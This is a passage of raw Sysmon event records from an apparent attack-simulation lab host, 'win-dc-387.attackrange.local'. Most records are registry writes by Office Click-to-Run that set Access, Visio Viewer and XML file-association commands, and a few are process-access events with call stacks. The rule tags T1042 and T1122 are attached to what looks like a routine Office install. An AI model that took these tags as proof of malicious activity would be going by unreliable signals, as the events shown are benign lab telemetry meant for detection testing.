Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\New\ddeexec\(Default)[SetForeground][ShellNewDatabase "%%1"] 13241300x800000000000000039775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.MDBFile\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /n "%%1" 13241300x800000000000000039774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Extension.16\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP "%%1" 13241300x800000000000000039773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Shortcut.Function.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Shortcut.Function.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Shortcut.Function.1\shell\open\ddeexec\(Default)[SetForeground][OpenFunction "%%1"] 13241300x800000000000000039770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Shortcut.Function.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /SHELLSYSTEM [OpenFunction "%%1"] 13241300x800000000000000039769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Shortcut.Function.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Shortcut.Function.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Shortcut.Function.1\shell\design\ddeexec\(Default)[SetForeground][OpenFunction "%%1", 1] 13241300x800000000000000039766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.471{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Shortcut.Function.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /SHELLSYSTEM [OpenFunction "%%1", 1] 13241300x800000000000000039765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Project.16\shell\Open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Project.16\shell\Open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Project.16\shell\Open\ddeexec\(Default)[SetForeground][ShellOpenDatabase "%%1"] 13241300x800000000000000039762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Project.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 13241300x800000000000000039761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.BlankProjectTemplate.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /NEWDB "%%1" 13241300x800000000000000039760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ADEFile.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 13241300x800000000000000039759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.WebApplicationReference.16\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.WebApplicationReference.16\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.WebApplicationReference.16\shell\open\ddeexec\(Default)[SetForeground][ShellOpenDatabase "%%1"] 13241300x800000000000000039756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.WebApplicationReference.16\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 13241300x800000000000000039755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.WizardUserDataFile.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" 13241300x800000000000000039754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDTFile.16\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDTFile.16\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDTFile.16\shell\open\ddeexec\(Default)[SetForeground][ShellOpenDatabase "%%1"] 13241300x800000000000000039751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDTFile.16\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" 10341000x800000000000000039750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.440{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5508-00000000F001}5344C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000039749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDRFile.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /RUNTIME "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 13241300x800000000000000039748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDEFile.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 13241300x800000000000000039747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDCFile.16\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDCFile.16\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDCFile.16\shell\open\ddeexec\(Default)[SetForeground][ShellOpenDatabase "%%1"] 13241300x800000000000000039744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDCFile.16\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" 13241300x800000000000000039743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\openAsReadOnly\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\openAsReadOnly\ddeexec\ifexec\(Default)[] 13241300x800000000000000039741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\openAsReadOnly\ddeexec\(Default)[SetForeground][ShellOpenDatabase "%%1",0,1] 13241300x800000000000000039740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\openAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /RO "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 13241300x800000000000000039739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\open\ddeexec\(Default)[SetForeground][ShellOpenDatabase "%%1"] 13241300x800000000000000039736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP "%%1" %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 10341000x800000000000000039735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.424{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5508-00000000F001}5344C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 13241300x800000000000000039734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\New\ddeexec\topic\(Default)ShellSystem 10341000x800000000000000039733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.424{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5508-00000000F001}5344C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000039732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\New\ddeexec\ifexec\(Default)[] 13241300x800000000000000039731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\New\ddeexec\(Default)[SetForeground][ShellNewDatabase "%%1"] 13241300x800000000000000039730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.Application.16\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /n "%%1" 13241300x800000000000000039729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.409{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ACCDAExtension.16\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP "%%1" 13241300x800000000000000039728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.409{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\VisioViewer.Viewer\shell\open\ddeexec\Topic\(Default)WWW_OpenURL 13241300x800000000000000039727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.409{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\VisioViewer.Viewer\shell\open\ddeexec\(Default)"file:%%1",,-1,,,,, 13241300x800000000000000039726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.409{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\VisioViewer.Viewer\shell\open\command\(Default)"C:\Program Files\Microsoft Office\root\Client\appvlp.exe" "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome 10341000x800000000000000039725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.378{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5408-00000000F001}6924C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.362{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5408-00000000F001}6924C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.362{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5408-00000000F001}6924C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000039722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\xmlfile\shell\Open\ddeexec\topic\(Default)(Empty) 13241300x800000000000000039721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\xmlfile\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\xmlfile\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE" /verb open "%%1" 13241300x800000000000000039719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\xmlfile\shell\edit\command\(Default)"C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE" /verb edit "%%1" 13241300x800000000000000039718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\xmlfile\shell\Open\ddeexec\topic\(Default)(Empty) 13241300x800000000000000039717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\xmlfile\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\xmlfile\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE" /verb open "%%1" 13241300x800000000000000039715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\xmlfile\shell\edit\command\(Default)"C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE" /verb edit "%%1" 10341000x800000000000000039714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 